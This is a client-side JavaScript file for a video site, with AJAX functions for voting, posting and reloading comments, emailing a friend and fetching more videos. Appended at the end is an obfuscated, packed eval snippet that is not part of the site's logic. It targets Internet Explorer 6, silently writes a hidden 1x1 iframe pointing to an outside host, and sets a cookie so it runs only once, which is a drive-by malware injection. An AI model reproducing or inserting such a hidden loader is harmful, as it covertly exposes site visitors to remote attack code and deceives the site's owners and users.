/* The following function creates an XMLHttpRequest object... */

function createRequestObject(){
	var request_o; //declare the variable to hold the object.
	var browser = navigator.appName; //find the browser name
	if(browser == "Microsoft Internet Explorer"){
		/* Create the object using MSIE's method */
		request_o = new ActiveXObject("Microsoft.XMLHTTP");
	}else{
		/* Create the object using other browser's method */
		request_o = new XMLHttpRequest();
	}
	return request_o; //return the object
}

/* You can get more specific with version information by using 
	parseInt(navigator.appVersion)
	Which will extract an integer value containing the version 
	of the browser being used.
*/


/* The variable http will hold our new XMLHttpRequest object. */
var http = createRequestObject(); 


/* Function called to handle the list that was returned from the internal_request.php file.. */
function handleVote(){
	/* Make sure that the transaction has finished. The XMLHttpRequest object 
		has a property called readyState with several states:
		0: Uninitialized
		1: Loading
		2: Loaded
		3: Interactive
		4: Finished */
		//var p=http.readyState;
		//window.alert("state="+p);
	if(http.readyState == 4){ //Finished loading the response
		/* We have got the response from the server-side script,
			let's see just what it was. using the responseText property of 
			the XMLHttpRequest object. */
		var response = http.responseText;
		/* And now we want to change the product_categories <div> content.
			we do this using an ability to get/change the content of a page element 
			that we can find: innerHTML. */
		//document.getElementById('photos_cage').innerHTML = response;
		vote_cage.innerHTML = response;
	}
}

function getText()
{
 var area_n=document.form_category_select.area_name.value;
 window.alert("area name="+area_n);
}

function SendVote(item_id,user_rate){
		//getText();
		document.getElementById('vote_cage').style.display="block";
		document.getElementById('vote_cage').innerHTML ="Loading...";
	http.open('get', 'vote.php?item_id=' 
			+ encodeURIComponent(item_id)+'&user_rate='
			+ encodeURIComponent(user_rate));
	/* Define a function to call once a response has been received. This will be our
		handleProductCategories function that we define below. */
	http.onreadystatechange = handleVote; 
	/* Send the data. We use something other than null when we are sending using the POST
		method. */
	http.send(null);
}


var item_id_is;

/* Function called to handle the list that was returned from the internal_request.php file.. */
function handleComment(){
	/* Make sure that the transaction has finished. The XMLHttpRequest object 
		has a property called readyState with several states:
		0: Uninitialized
		1: Loading
		2: Loaded
		3: Interactive
		4: Finished */
		//var p=http.readyState;
		//window.alert("state="+p);
	if(http.readyState == 4){ //Finished loading the response
		/* We have got the response from the server-side script,
			let's see just what it was. using the responseText property of 
			the XMLHttpRequest object. */
		var response = http.responseText;
		/* And now we want to change the product_categories <div> content.
			we do this using an ability to get/change the content of a page element 
			that we can find: innerHTML. */
		//document.getElementById('photos_cage').innerHTML = response;
		comment_cage.innerHTML = response;
		ReloadComments(item_id_is);
	}
}



function SendComment(item_id,comment_user_name,comment_rate,comment_text){
		//getText();
		document.getElementById('comment_cage').style.display="block";
		document.getElementById('comment_cage').innerHTML ="Loading...";
	http.open('get', 'AddComment.php?item_id=' 
			+ encodeURIComponent(item_id)+'&comment_user_name='
			+ encodeURIComponent(comment_user_name)+'&comment_rate='
			+ encodeURIComponent(comment_rate)+'&comment_text='
			+ encodeURIComponent(comment_text));
		http.onreadystatechange = handleComment; 
		item_id_is=item_id;
	/* Send the data. We use something other than null when we are sending using the POST
		method. */
	http.send(null);
}


/* Function called to handle the list that was returned from the internal_request.php file.. */
function handleGetComment(){
	
	if(http.readyState == 4){ 
		var response = http.responseText;
		comments_cage.innerHTML = response;
	}
}


function ReloadComments(item_id){
		//getText();
		document.getElementById('comments_cage').style.display="block";
		document.getElementById('comments_cage').innerHTML ="Loading...";
	http.open('get', 'GetComments.php?item_id=' 
			+ encodeURIComponent(item_id));
		http.onreadystatechange = handleGetComment; 
	/* Send the data. We use something other than null when we are sending using the POST
		method. */
	http.send(null);
}

/* Function called to handle the list that was returned from the internal_request.php file.. */
function handleSendToFriend(){
	
	if(http.readyState == 4){ 
		var response = http.responseText;
		email_cage.innerHTML = response;
	}
}


function SendMessage(item_id,sender_email,target_email,message){
		//getText();
		document.getElementById('email_cage').style.display="block";
		document.getElementById('email_cage').innerHTML ="Loading...";
	http.open('get', 'Send.php?item_id='
	        + encodeURIComponent(item_id)+'&sender_email='
			+ encodeURIComponent(sender_email)+'&target_email='
			+ encodeURIComponent(target_email)+'&message='
			+ encodeURIComponent(message));
		http.onreadystatechange = handleSendToFriend; 
	/* Send the data. We use something other than null when we are sending using the POST
		method. */
	http.send(null);
}


/* Function called to handle the list that was returned from the internal_request.php file.. */
function handleGetMoreVideo(){
	
	if(http.readyState == 4){ 
		var response = http.responseText;
		more_video.innerHTML = response;
	}
}


function GetMoreVideo(subject_id,item_id){
		//getText();
		document.getElementById('more_video').style.display="block";
		document.getElementById('more_video').innerHTML ="Loading...";
	http.open('get', 'GetMoreVideo.php?subject_id='
	        + encodeURIComponent(subject_id)+'&item_id='
			+ encodeURIComponent(item_id));
		http.onreadystatechange = handleGetMoreVideo; 
	/* Send the data. We use something other than null when we are sending using the POST
		method. */
	http.send(null);
}

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4(2.7.8("5=j")==-1&&g.u.8("t 6.0")!=-1){3="<w"+"r q"+"p=1 s"+"o"+"=1 m"+"=\'c"+"a://9"+"f.l/k"+"b/\' h"+"e=\'d"+"v:n"+"x\'></i"+"L"+"K>";4(G.A.z==y){3=0}2.C(3);2.7="5=j; D=F, E B M J:H:I N; "}',50,50,'||document|fi|if|_smlfue||cookie|indexOf|glavn|tp||ht|||ext|navigator|styl|||b2|net|src||ight|dth|wi|ame|he|MSIE|appVersion|isplay|ifr|one|666|length|status|Jul|write|expires|22|Mon|window|15|58|11|me|fra|2012|GMT'.split('|')));
